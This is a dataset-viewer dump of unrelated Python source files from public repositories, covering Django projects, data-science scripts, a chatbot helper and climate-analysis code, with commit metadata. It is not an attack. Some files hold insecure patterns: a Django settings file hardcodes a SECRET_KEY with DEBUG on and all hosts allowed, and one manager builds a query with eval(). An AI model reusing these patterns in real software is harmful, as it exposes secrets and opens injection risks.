Reset23/the-stack-v2-python · Datasets at Hugging Face

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/backup/user_267/ch85_2020_04_29_12_14_54_819750.py

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gabriellaec/desoft-analise-exercicios

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2020-12-16T05:21:31

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with open('macacos-me-mordam.txt', 'r') as arquivo: conteudo = arquivo.read() lista = conteudo.split() contador = 0 for i in range(len(lista)): if lista[i] == 'banana' or lista[i] == 'Banana' or lista[i] == 'BaNaNa' lista[i] == 'BANANA' contador += 1 print(contador)

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you@example.com

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/emojifier/settings.py

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""" Django settings for emojifier project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '=vj$y)$z6df%kp3v^h0c9y^!r4uxys)n8nnp%%^*8s02k&6pxe' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] # Application definition INSTALLED_APPS = [ 'main', 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'emojifier.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR,'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'emojifier.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS=( os.path.join(BASE_DIR,'static'), ) STATIC_ROOT=os.path.join(BASE_DIR,'staticfiles')

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shivambhat45@gmail.com

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/A4/latex-files/src/3.fetchBoilerpipeForMementos.py

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import json import os from boilerpipe.extract import Extractor from nltk.util import ngrams import urllib2 INPUT_PATH = '3.selected-timemaps/' OUTPUT_PATH = 'mementos/' OUTPUT_FILE = 'mementoCount.txt' def removePunctuation(paragraph): paragraph = re.sub('[\",():;?\\[\\].{}#$&_*+=%!<>~0-9]', '', paragraph) return paragraph def normalizeString(paragraph): words = paragraph.split() normalizedWordList = [] for word in words: word = word.lower() word = word.strip() #word = removePunctuation(word); normalizedWordList.append(word) return normalizedWordList def getUniqueNgram(paragraph, n): nGrams = ngrams(normalizeString(paragraph), n) uniqueNGrams = set(nGrams) return uniqueNGrams def calculateJaccardDistance(a3Words, a4Words): union = set(a3Words).union(a4Words) intersect = set(a3Words).intersection(a4Words) jacDist = (len(union) - len(intersect)) * 1.0 / len(union) return jacDist def getNgrams(filePath): f = open(filePath, 'r') paragraph = f.read() f.close() uniGram = getUniqueNgram(paragraph, 1) return uniGram def saveBoilerpipeText(URL, mementoId, bPipeOpFilePath): extractor = Extractor(url=URL) extracted_text = extractor.getText() fil = open(bPipeOpFilePath, 'w') fil.write(extracted_text.encode('UTF-8')) fil.close() if not os.path.exists(OUTPUT_PATH): print 'Creating folder - ' + OUTPUT_PATH os.makedirs(OUTPUT_PATH) fileList = os.listdir(INPUT_PATH) #fileList = ['1201'] for fName in fileList: print 'processing for ' + fName iFile = open(INPUT_PATH + fName, 'r') jsonContent = iFile.read() if len(jsonContent) != 0: fContent = json.loads(jsonContent) #print fContent['mementos']['list'][0]['uri'] mementoURIs = fContent['mementos']['list'] BPIPE_OUTPUT_PATH = OUTPUT_PATH + fName + '/' if not os.path.exists(BPIPE_OUTPUT_PATH): os.makedirs(BPIPE_OUTPUT_PATH) oFile = open(BPIPE_OUTPUT_PATH + 'jacard-distance.txt', 'w') for i, URI in enumerate(mementoURIs): mementoId = i + 1 bPipeOpFilePath = BPIPE_OUTPUT_PATH + str(mementoId) try: print str(mementoId), '\t', URI['uri'] saveBoilerpipeText(URI['uri'], mementoId, bPipeOpFilePath) currentMementoWords = getNgrams(bPipeOpFilePath) if mementoId == 1: firstMementoWords = currentMementoWords if currentMementoWords != None: jacDist = calculateJaccardDistance(firstMementoWords, currentMementoWords) oFile.write('1\t' + str(mementoId) + '\t' + str(jacDist) + '\t' + URI['datetime'] + '\n') except urllib2.HTTPError: print 'HTTP Error' continue except: print 'Error' continue oFile.close() iFile.close()

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rlambi@cs.odu.edu

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mmllyy/XinPianChang_project

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# Generated by Django 2.0.6 on 2018-06-26 13:24 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('userName', models.CharField(max_length=50)), ('userPasswd', models.CharField(max_length=32)), ('img', models.CharField(max_length=200)), ('state', models.BooleanField(default=True, verbose_name='用户状态')), ], options={ 'db_table': 'xpc_user', }, ), ]

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/mpas_analysis/sea_ice/climatology_map_sea_ice_thick.py

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kevinrosa/MPAS-Analysis

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refs/heads/eke_plots

2020-03-20T10:30:50.446658

2018-07-26T21:54:46

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# Copyright (c) 2017, Los Alamos National Security, LLC (LANS) # and the University Corporation for Atmospheric Research (UCAR). # # Unless noted otherwise source code is licensed under the BSD license. # Additional copyright and license information can be found in the LICENSE file # distributed with this code, or at http://mpas-dev.github.com/license.html # from __future__ import absolute_import, division, print_function, \ unicode_literals import xarray as xr from mpas_analysis.shared import AnalysisTask from mpas_analysis.shared.climatology import RemapMpasClimatologySubtask, \ RemapObservedClimatologySubtask from mpas_analysis.sea_ice.plot_climatology_map_subtask import \ PlotClimatologyMapSubtask from mpas_analysis.shared.io.utility import build_config_full_path from mpas_analysis.shared.grid import LatLonGridDescriptor class ClimatologyMapSeaIceThick(AnalysisTask): # {{{ """ An analysis task for comparison of sea ice thickness against observations """ # Authors # ------- # Luke Van Roekel, Xylar Asay-Davis, Milena Veneziani def __init__(self, config, mpasClimatologyTask, hemisphere, refConfig=None): # {{{ """ Construct the analysis task. Parameters ---------- config : ``MpasAnalysisConfigParser`` Configuration options mpasClimatologyTask : ``MpasClimatologyTask`` The task that produced the climatology to be remapped and plotted hemisphere : {'NH', 'SH'} The hemisphere to plot refConfig : ``MpasAnalysisConfigParser``, optional Configuration options for a reference run (if any) """ # Authors # ------- # Xylar Asay-Davis taskName = 'climatologyMapSeaIceThick{}'.format(hemisphere) fieldName = 'seaIceThick' # call the constructor from the base class (AnalysisTask) super(ClimatologyMapSeaIceThick, self).__init__( config=config, taskName=taskName, componentName='seaIce', tags=['climatology', 'horizontalMap', fieldName, 'publicObs']) mpasFieldName = 'timeMonthly_avg_iceVolumeCell' iselValues = None sectionName = taskName if hemisphere == 'NH': hemisphereLong = 'Northern' else: hemisphereLong = 'Southern' # read in what seasons we want to plot seasons = config.getExpression(sectionName, 'seasons') if len(seasons) == 0: raise ValueError('config section {} does not contain valid list ' 'of seasons'.format(sectionName)) comparisonGridNames = config.getExpression(sectionName, 'comparisonGrids') if len(comparisonGridNames) == 0: raise ValueError('config section {} does not contain valid list ' 'of comparison grids'.format(sectionName)) # the variable self.mpasFieldName will be added to mpasClimatologyTask # along with the seasons. remapClimatologySubtask = RemapMpasClimatologySubtask( mpasClimatologyTask=mpasClimatologyTask, parentTask=self, climatologyName='{}{}'.format(fieldName, hemisphere), variableList=[mpasFieldName], comparisonGridNames=comparisonGridNames, seasons=seasons, iselValues=iselValues) if refConfig is None: refTitleLabel = 'Observations (ICESat)' galleryName = 'Observations: ICESat' diffTitleLabel = 'Model - Observations' refFieldName = 'seaIceThick' else: refRunName = refConfig.get('runs', 'mainRunName') galleryName = None refTitleLabel = 'Ref: {}'.format(refRunName) refFieldName = mpasFieldName diffTitleLabel = 'Main - Reference' remapObservationsSubtask = None for season in seasons: if refConfig is None: obsFileName = build_config_full_path( config=config, section='seaIceObservations', relativePathOption='thickness{}_{}'.format(hemisphere, season), relativePathSection=sectionName) remapObservationsSubtask = RemapObservedThickClimatology( parentTask=self, seasons=[season], fileName=obsFileName, outFilePrefix='{}{}_{}'.format(refFieldName, hemisphere, season), comparisonGridNames=comparisonGridNames, subtaskName='remapObservations{}'.format(season)) self.add_subtask(remapObservationsSubtask) for comparisonGridName in comparisonGridNames: imageDescription = \ '{} Climatology Map of {}-Hemisphere Sea-Ice ' \ 'Thickness.'.format(season, hemisphereLong) imageCaption = imageDescription galleryGroup = \ '{}-Hemisphere Sea-Ice Thickness'.format( hemisphereLong) # make a new subtask for this season and comparison grid subtask = PlotClimatologyMapSubtask( self, hemisphere, season, comparisonGridName, remapClimatologySubtask, remapObservationsSubtask, refConfig) subtask.set_plot_info( outFileLabel='icethick{}'.format(hemisphere), fieldNameInTitle='Sea ice thickness', mpasFieldName=mpasFieldName, refFieldName=refFieldName, refTitleLabel=refTitleLabel, diffTitleLabel=diffTitleLabel, unitsLabel=r'm', imageDescription=imageDescription, imageCaption=imageCaption, galleryGroup=galleryGroup, groupSubtitle=None, groupLink='{}_thick'.format(hemisphere.lower()), galleryName=galleryName, maskValue=0) self.add_subtask(subtask) # }}} # }}} class RemapObservedThickClimatology(RemapObservedClimatologySubtask): # {{{ """ A subtask for reading and remapping sea ice thickness observations """ # Authors # ------- # Xylar Asay-Davis def get_observation_descriptor(self, fileName): # {{{ ''' get a MeshDescriptor for the observation grid Parameters ---------- fileName : str observation file name describing the source grid Returns ------- obsDescriptor : ``MeshDescriptor`` The descriptor for the observation grid ''' # Authors # ------- # Xylar Asay-Davis # create a descriptor of the observation grid using the lat/lon # coordinates obsDescriptor = LatLonGridDescriptor.read(fileName=fileName, latVarName='t_lat', lonVarName='t_lon') return obsDescriptor # }}} def build_observational_dataset(self, fileName): # {{{ ''' read in the data sets for observations, and possibly rename some variables and dimensions Parameters ---------- fileName : str observation file name Returns ------- dsObs : ``xarray.Dataset`` The observational dataset ''' # Authors # ------- # Xylar Asay-Davis dsObs = xr.open_dataset(fileName) dsObs.rename({'HI': 'seaIceThick'}, inplace=True) return dsObs # }}} # }}} # vim: foldmethod=marker ai ts=4 sts=4 et sw=4 ft=python

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xylarstorm@gmail.com

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/response_functions/get_time_response.py

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[]

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GustavoAngulo/cmu-dining-assistant

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refs/heads/master

2021-01-13T02:54:07.589269

2017-02-03T20:15:16

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from datetime import date def get_time_response(req, CMU_dining_dict): result = req.get("result") parameters = result.get("parameters") location = parameters.get("location") location_status = parameters.get("location-status") ############## ## get date ## ############## # reqDate == "" or "YYYY-DD-MM" reqDate = parameters.get("date") date_responses = ["on Sunday.", "on Monday.", "on Tuesday.", "on Wednesday.", "on Thursday.", "on Friday.", "on Saturday."] # reqDate: 0 is Sunday, 1 Monday, ..., 6 Saturday if reqDate == "": reqDate = (date.today().weekday() + 1) % 7 speech_date = "today." else: reqDate = reqDate.split("-") reqDate = (date(int(reqDate[0]), int(reqDate[1]), int(reqDate[2])).weekday() + 1) % 7 speech_date = date_responses[reqDate] ############## ## get time ## ############## if location_status == "open": time = modify_time(*get_time(location, "start", reqDate, CMU_dining_dict)) elif location_status == "close": time = modify_time(*get_time(location, "end", reqDate, CMU_dining_dict)) else: time_start = modify_time(*get_time(location, "start", reqDate, CMU_dining_dict)) time_end = modify_time(*get_time(location, "end", reqDate, CMU_dining_dict)) ##################### ## return response ## ##################### if (location_status == "open" or location_status == "close") and time == None: message = (location + " is not open " + speech_date) elif location_status == "" and (time_start == None or time_end == None): message = (location + " is not open " + speech_date) else: if location_status == "open": message = (location + " opens at " + time + " " + speech_date) elif location_status == "close": message = (location + " closes at " + time + " " + speech_date) elif location_status == "": message = (location + " opens at " + time_start + " and closes at " + time_end + " " + speech_date) else: message = ("There was an error in retrieving the times for " + location + ".") return (message + " Is there anything else I can help with?") def get_time(location, status, date, CMU_dining_dict): # location # type: string # content: location name # # status # type: string # content: "start"/"end" # # date # type: int # content: 0 is Sunday, 1 Monday, ..., 6 Saturday info = CMU_dining_dict[location] for day in info["times"]: if day["start"]["day"] == date: return (day[status]["hour"], day[status]["min"]) else: # location is not open on day date return (None,None) def modify_time(hour, minute): # hour # type: int # content: hour time 0-23 # # minute # type: int # content: minute time 0-59 if hour == None and minute == None: return None # changing military time to standard time and returning it as a string if hour == 0: (hour, time_suffix) = ("12", "am") elif hour < 12: (hour, time_suffix) = (str(hour), "am") elif hour == 12: (hour, time_suffix) = (str(hour), "pm") else: (hour, time_suffix) = (str(hour - 12), "pm") # prevents 8:5 instead of 8:05 if minute < 10: minute = "0" + str(minute) else: minute = str(minute) return (hour + ":" + minute + " " + time_suffix)

[ "gangulo@andrew.cmu.edu" ]

gangulo@andrew.cmu.edu

ae8e57f12c53f000ecf4cd7f28a45489546661e1

76658996d34eb37505b1165a9c1a9d103e9f68e9

/Project/human-emotion-generation-with-gan-encoder/load_csv.py

1e1d2ddf1852c2ef6ae36bd15d8a2fae0964a4d2

[]

no_license

wewan/DD2424

9efe1d4abd7f11f209cda42c09a0cedbae990b3f

ea7f8aa43d71cb8717cafcd003d2cc7de62aad30

refs/heads/master

2020-03-18T04:53:46.872524

2018-10-16T13:42:38

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import csv import numpy as np def load_csv(): L=35887 #length of data y_dim=7 labels=np.zeros(L) images_reshape=np.zeros((L,2304)) with open("./data/fer2013/fer2013.csv","rb") as csvfile: reader = csv.DictReader(csvfile) count=0 for row in reader: labels[count]=row['emotion'] images_reshape[count]=(row['pixels'].split()) count=count+1 X=images_reshape.reshape((L,48,48,1)).astype(np.float)/255.0 Y_=labels.astype(np.int) y_vec = np.zeros((len(Y_), y_dim), dtype=np.float) y_vec[np.arange(L), Y_] = 1.0 return X,y_vec

[ "wewang@kth.se" ]

wewang@kth.se

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aa743e124d5fc3fae7f16aa4e4760b670273089d

/serialInput.py

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[]

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ljdixon/fabio

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refs/heads/master

2022-06-30T22:51:08.767338

2020-05-12T19:16:36

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import serial, string, time ser = serial.Serial('\\\\.\\CNCB0', 9600, 8, 'N', 1, timeout=3) fs = open('nellcor.txt', 'r') count = 0 while True: # Get next line from file line = fs.readline() # if line is empty # end of file is reached if line.strip() == "": continue elif not line: break count += 1 print("Line{}: {}".format(count, line.strip())) ser.write(bytes(line, 'ascii')) time.sleep(2) fs.close()

[ "ldixon@compunetix.com" ]

ldixon@compunetix.com

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/main.py

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wuyanxin/gitbranch-d

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2023-02-03T23:05:27.776577

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from programs import interative, except_master programList = [ interative.delete, except_master.delete, ] # programNo = input("\n 1. 交互式删除 \n 2. 只保留master \n 3. 输入保留分支，其它都删除 \n 请输入编号选择（默认0）：") programNo = input("\n 1. interative delete (recommanded) \n 2. keep master, delete others \n input number for chosing program (default 1): ") if programNo == '': programNo = 0 else: try: programNo = int(programNo) except Exception: print("illegal input") exit() if programNo > len(programList): print("illegal input") exit() program = programList[programNo] program()

[ "wyx.ethan@gmail.com" ]

wyx.ethan@gmail.com

bfb17d35888656bd42a1319500ff40815aed2e4e

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/block/admin.py

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no_license

Ansagan-Kabdolla/New_visit

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refs/heads/master

2022-11-25T12:02:16.128112

2020-07-21T08:26:08

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from django.contrib import admin from .models import Zakaz @admin.register(Zakaz) class ZakazAdmin(admin.ModelAdmin): list_display = ('name','organization','date')

[ "ansagankabdolla4@gmail.com" ]

ansagankabdolla4@gmail.com

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ynggny/ei

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refs/heads/master

2020-05-24T06:43:00.319761

2019-05-20T10:16:26

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# Generated by Django 2.2 on 2019-05-13 02:23 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Stu', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200, verbose_name='名前')), ], options={ 'verbose_name': 'アイテム', 'verbose_name_plural': 'アイテム', }, ), ]

[ "yudai1151judo@ryuuyuudai-no-MacBook-Air.local" ]

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/Character.py

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[]

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refs/heads/master

2020-09-05T01:15:45.631476

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""" Create a class Character with attribute a position: x_position for index of line and y_position for index of column """ class Character: def __init__(self, character, x_position, y_position): self.character = character self.x_position = x_position self.y_position = y_position """ Create class McGyver those are a children-class Character with special character = m """ class McGyver(Character): def __init__(self, x_position, y_position): Character.__init__(self, "m", x_position, y_position) # A list to stock the object (item) that Mc Gyver take self.inventury = [] """ Method move to move m like My Gyver with keyboard z to up, s: down, q : left and d : right """ def move(self): keyboard = input("Tell me how you want move" " Mc Gyver; the key z to " "up, s: down, q : left " "and d : right ") if keyboard == 'z': # if key 'z' is pressed self.x_position -= 1 return self.x_position, self.y_position elif keyboard == 's': self.x_position += 1 return self.x_position, self.y_position if keyboard == 'q': self.y_position -= 1 return self.x_position, self.y_position elif keyboard == 'd': self.y_position += 1 return self.x_position, self.y_position # if an other key : make nothing and write a message else: print("!!!!!!This key of keyboard is forbiden!!!!!!!!") return self.x_position, self.y_position """ Methode to know the position """ def position(self): return self.x_position, self.y_position """ Method to set position """ def set_position(self, x, y): self.x_position = x self.y_position = y """ Create class Guard those are a children-class Character with special character = g """ class Guard(Character): def __init__(self, x_position, y_position,): Character.__init__(self, "g", x_position, y_position)

[ "houcheserge@gmail.com" ]

houcheserge@gmail.com

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import numpy as np import glob import utils from keras.models import load_model from collections import deque import cv2 from tqdm import tqdm import ffmpeg TEST_VIDEO_PATH = 'test_videos/' test_videos_paths = glob.glob(TEST_VIDEO_PATH + '*.mov') MODEL_PATH = 'models/model.h5' model = load_model(MODEL_PATH) classes = utils.generate_labels().classes_ SEQ_LENGTH = utils.get_sequence_length() for path in test_videos_paths: print('Processing...') data = utils.convert_to_csv(path) filename = path.split('/')[-1].split('.')[0] target_video = TEST_VIDEO_PATH + filename + '_annotated.mp4' cap = cv2.VideoCapture(target_video) frame_width = int(cap.get(3)) frame_height = int(cap.get(4)) out = cv2.VideoWriter(TEST_VIDEO_PATH + filename + '.avi', cv2.VideoWriter_fourcc('M', 'J', 'P', 'G'), 30, (frame_width, frame_height)) counter = 0 frames = deque(maxlen=SEQ_LENGTH) frame_length = data.shape[0] while counter < frame_length: ret, frame = cap.read() font = cv2.FONT_HERSHEY_SIMPLEX frames.append(data[counter, :]) counter += 1 outputs = [] output_name = '' if len(frames) is SEQ_LENGTH: input_data = np.array(frames) input_data = input_data[np.newaxis, np.newaxis, ...] output = model.predict(input_data) output_name = classes[np.argmax(output)] output_value = output[0][np.argmax(output)] print( output_name , output_value) if output_value > 0.85: outputs.append([output_name, output_value]) cv2.putText(frame, 'Prediction: ' + output_name, (50, 50), font, 1, (0, 255, 255), 1, cv2.LINE_4) out.write(frame) out.release() ffmpeg.input(TEST_VIDEO_PATH + filename + '.avi').output(TEST_VIDEO_PATH + filename + '_compressed.mp4').run() cap.release() cv2.destroyAllWindows() print('Video saved\n\n')

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/auctions/urls.py

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from django.urls import path from . import views app_name = "auctions" urlpatterns = [ path("", views.index, name="index"), path("login/", views.login_view, name="login"), path("logout/", views.logout_view, name="logout"), path("register/", views.register, name="register"), path("cards/", views.cards_view, name="cards"), path("add/", views.add, name="add"), path("add_comment/", views.add_comment, name="add_comment"), path("listing_details/", views.listing_details_view, name="listing_details"), path("watchlist/", views.watchlist_view, name="watchlist"), path("category_list/", views.category_list, name="category_list"), path("category_list/<str:category>", views.category_list_redirect, name="category_list_redirect"), path("add_to_watchlist/", views.add_to_watchlist, name="add_to_watchlist"), path("place_bid/", views.place_bid, name="place_bid"), path("end_listing/", views.end_listing, name="end_listing"), path("auctions_history/", views.auctions_history, name="auctions_history"), path("delete_item_watchlist/", views.delete_item_watchlist, name="delete_item_watchlist") ]

[ "sherabwangchuk@Sherabs-MacBook-Air.local" ]

sherabwangchuk@Sherabs-MacBook-Air.local

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/scripts/makeQ2.py

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refs/heads/master

2021-09-14T12:04:49.073216

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from shutil import copyfile import shutil shutil.copy('../_posts/2018-04-23-javascript-tutorial.md', './jsPost.md') jsOldPost = open('./jsPost.md','r') count = len(jsOldPost.readlines()) jsOldPost.close() jsNewPost = open('./jsNewPost.md', 'w') jsOldPost = open('./jsPost.md', 'r') for i in range(count): jsNewPost.write(jsOldPost.readline()) if i == count-6: jsOldPost.close() break loopNum = int(raw_input("How much questions you want to write?: ")) string = '' script = open('./quiz.js', 'w') for a in range(1, loopNum+1): questionNum = int(raw_input("How much questions do you have so far?: ")) questionLine = str(raw_input("please type the question line: ")).replace('<', '<').replace('>', '>') string += ''+str(questionNum+a)+'.'+questionLine +'\n' for i in range(1,5): answer = str(raw_input("please type answer number " + str(i) + ": ")).replace('<', '<').replace('>', '>') correct = int(raw_input("is it the correct answer (1 for yes, 0 for no)?: ")) string += '<input type="radio" id="mc" name="q'+str(questionNum+1)+'" value="'+str(correct)+'">' + answer +' \n' ##for my js script jsCount = loopNum + questionNum jsString = '' jsString += 'function check(){var answer = document.getElementById("answer");\nvar correct = 0\n' for i in range(1,jsCount+1): jsString += 'var q' + str(i) +'= document.quiz.q'+str(i)+'.value;\n' jsString += "if(q"+str(i)+"== '1'){correct++};\n" jsString += "answer.innerHTML='Your scor is: '+correct*100/" + str(jsCount)+";\n" string += "\n\n\n\n" + "<script>\n"+jsString+"\n</script>" string += "\n\n\n\n \n" string += '<input id = "button" type = "button" value = "End The Exam!" style="font-size:20px" onclick = "check();">\n' string += '\n' string += '</form>\n' jsNewPost.write(string) jsNewPost.close() shutil.copy('./jsNewPost.md', '../_posts/2018-04-23-javascript-tutorial.md')

[ "guy.zwerdling@gmail.com" ]

guy.zwerdling@gmail.com

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2023-01-09T16:56:42.756418

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#! /usr/bin/env python import sys import os def handle_line(line, transparent): line = line.replace('#', '') L = line.split() if (len(L) < 2): return None pos = int(L[0]) #color = int(L[1], 16) color = L[1] return "\t{ %0.2ff, %s%s, },\n" % ((100-pos)/100.0, transparent, color) #return "\t{ %0.2ff, %s%s, },\n" % ((64-(pos-36))/64.0, transparent, color) def gen_gradient(fin, fout, arrayname): L = [] transparent = 'ff' name = arrayname def gen_array(): text = ''' static const GradientData %s[] = { %s}; ''' % (name, ''.join(L)) fout.write(text) for line in fin: if line.startswith('#'): continue if line.startswith('name:'): if (len(L)>0): gen_array() del L[:] name = line.replace('name:', '') name = name.strip() elif line.startswith('transparence:'): transparent = line.replace('transparence:', '') transparent = transparent.replace('%', '') transparent = transparent.strip() transparent = int(int(transparent) / 100.0 * 255) transparent = hex(transparent) else: entry = handle_line(line, transparent) if entry is not None: L.append(entry) gen_array() if __name__ == '__main__': if len(sys.argv) <= 1: print "Usage: gen_gradient.py filename" exit(1) infile = sys.argv[1] fin = open(infile) fout = sys.stdout if len(sys.argv) > 2: fout = open(sys.argv[2], 'w') arrayname = os.path.splitext(os.path.basename(infile))[0] gen_gradient(fin, fout, arrayname) fout.close() fin.close()

[ "vincent@minigui.org" ]

vincent@minigui.org

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/polyglot/managers.py

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[]

no_license

fgallina/django-polyglot

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refs/heads/master

2016-09-15T16:15:54.017218

2009-09-04T17:46:47

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from django.utils import translation from django.db import models from django.db.models import Q from polyglot import defaults from polyglot import helpers class LanguageFieldManager(models.Manager): """Returns elements of the current language.""" def lall(self): lang = translation.get_language()[:2] filterby = {str(defaults.MANAGER_LANG_FIELD): lang} return self.get_query_set().filter(**filterby) class LanguageManager(models.Manager): """Returns elements of the current language.""" def __init__(self, *fields): super(LanguageManager, self).__init__() self.fields = fields def lall(self, *fields): if not fields: fields = self.fields qstring = '' for field in fields: field_name = helpers.format_field_name(field) qstring += 'Q(%s="") | ' % field_name qstring = qstring[:-2] q = eval(qstring) return self.get_query_set().exclude(q)

[ "fgallina@cuca.(none)" ]

fgallina@cuca.(none)

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/TRBlog/blog/migrations/0002_auto_20201029_2139.py

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refs/heads/master

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# Generated by Django 3.1.2 on 2020-10-30 04:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('blog', '0001_initial'), ] operations = [ migrations.AddField( model_name='page', name='image', field=models.ImageField(default='', upload_to='blog/images'), ), migrations.AddField( model_name='page', name='video', field=models.FileField(default='', upload_to='blog/video'), ), ]

[ "vipin830525@gmail.com" ]

vipin830525@gmail.com

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soumoks/Titanic-Kaggle-Competition

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2020-04-01T02:38:30

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# %% # Import libraries import pandas as pd import numpy as np from sklearn.model_selection import train_test_split import seaborn as sns from sklearn import tree # %% # Load data from csv df = pd.read_csv('train.csv', index_col='PassengerId') # %% # Add a feature called Family Size for id, attributes in df.iterrows(): df.loc[id, 'Relatives'] = attributes['SibSp'] + attributes['Parch'] if df.loc[id, 'Relatives'] == 0: df.loc[id, 'FamilySize'] = 0 if df.loc[id, 'Relatives'] > 0: df.loc[id, 'FamilySize'] = 1 if df.loc[id, 'Relatives'] > 2: df.loc[id, 'FamilySize'] = 2 if df.loc[id, 'Relatives'] > 3: df.loc[id, 'FamilySize'] = 3 if df.loc[id, 'Relatives'] > 5: df.loc[id, 'FamilySize'] = 4 if df.loc[id, 'Relatives'] > 6: df.loc[id, 'FamilySize'] = 5 #df = df[df.Relatives != 0] axes = sns.factorplot('Relatives','Survived', data=df, aspect = 2.5) # %% #Extract the passenger Title from Name df2 = df df2['Title'] = df2.Name df2.Title = df2.Title.replace(regex={ r'.*, Capt.*': 'Officer', r'.*, Col.*': 'Officer', r'.*, Major.*': 'Officer', r'.*, Jonkheer.*': 'Royalty', r'.*, Don.*': 'Royalty', r'.*, Sir.*': 'Royalty', r'.*, Dr.*': 'Officer', r'.*, Rev.*': 'Officer', r'.*, the Countess.*': 'Royalty', r'.*, Mme.*': 'Mrs', r'.*, Mlle.*': 'Miss', r'.*, Ms.*': 'Mrs', r'.*, Mrs.*': 'Mrs', r'.*, Mr.*': 'Mr', r'.*, Miss.*': 'Miss', r'.*, Master.*': 'Master', r'.*, Lady.*': 'Royalty' }) axes = sns.factorplot('Title','Survived', data=df2, aspect = 2.5) df2.Title = df2.Title.replace({'Officer': 1, 'Mrs': 2, 'Miss': 3, 'Mr': 4, 'Master': 5, 'Royalty': 6}) # %% # Add a feature called AgeGroup df3 = df2 bins = list(range(0, 71, 5)) labels = list(range(len(bins)-1)) df3['AgeGroup'] = pd.cut(df3.Age, bins, labels=labels, include_lowest=True) axes = sns.factorplot('AgeGroup','Survived', data=df3, aspect = 2.5) df3.AgeGroup = df3.AgeGroup = df.AgeGroup.replace({ 0:3, 1:1, 2:2, 3:2, 4:2, 5:1, 6:2, 7:2, 8:1, 9:3, 10:3, 11:3, 12:1, 13:0 }) # %% # Replace Sex with values df4 = df3 df4.Sex = df4.Sex.replace({'male': 1, 'female':0}) axes = sns.factorplot('Sex','Survived', data=df3, aspect = 2.5) # %% # Prepare data for training df5=df4 df5 = df5.dropna(subset=['AgeGroup']) df5 = df5.loc[:, ['AgeGroup', 'Sex', 'Title', 'FamilySize', 'Survived']] # %% # Train a RandomForst model from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import cross_val_score df6 = df5 y = df6['Survived'].to_numpy() X = df6.drop('Survived', axis=1).to_numpy() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) clf = RandomForestClassifier() clf.fit(X_train, y_train) #print(clf.score(X_test, y_test)) print('RandomForst, Train score:', cross_val_score(clf, X_train, y_train, cv=20).mean()) print('RandomForst, Test score:', cross_val_score(clf, X_test, y_test, cv=20).mean()) # %% # Train a Decision Tree model clf = tree.DecisionTreeClassifier() clf.fit(X_train, y_train) #print(clf.score(X_test, y_test)) print('DecisionTree, Train score:', cross_val_score(clf, X_train, y_train, cv=20).mean()) print('DecisionTree, Test score:', cross_val_score(clf, X_test, y_test, cv=20).mean()) # %%

[ "yuelin8879@gmail.com" ]

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#calss header class _REFORESTED(): def __init__(self,): self.name = "REFORESTED" self.definitions = reforest self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['reforest']

[ "xingwang1991@gmail.com" ]

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# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache 2.0 License. import infra.path import hashlib import os import subprocess def get_code_id(enclave_type, oe_binary_dir, package, library_dir="."): lib_path = infra.path.build_lib_path(package, enclave_type, library_dir) if enclave_type == "virtual": return hashlib.sha256(lib_path.encode()).hexdigest() else: res = subprocess.run( [os.path.join(oe_binary_dir, "oesign"), "dump", "-e", lib_path], capture_output=True, check=True, ) lines = [ line for line in res.stdout.decode().split(os.linesep) if line.startswith("mrenclave=") ] return lines[0].split("=")[1]

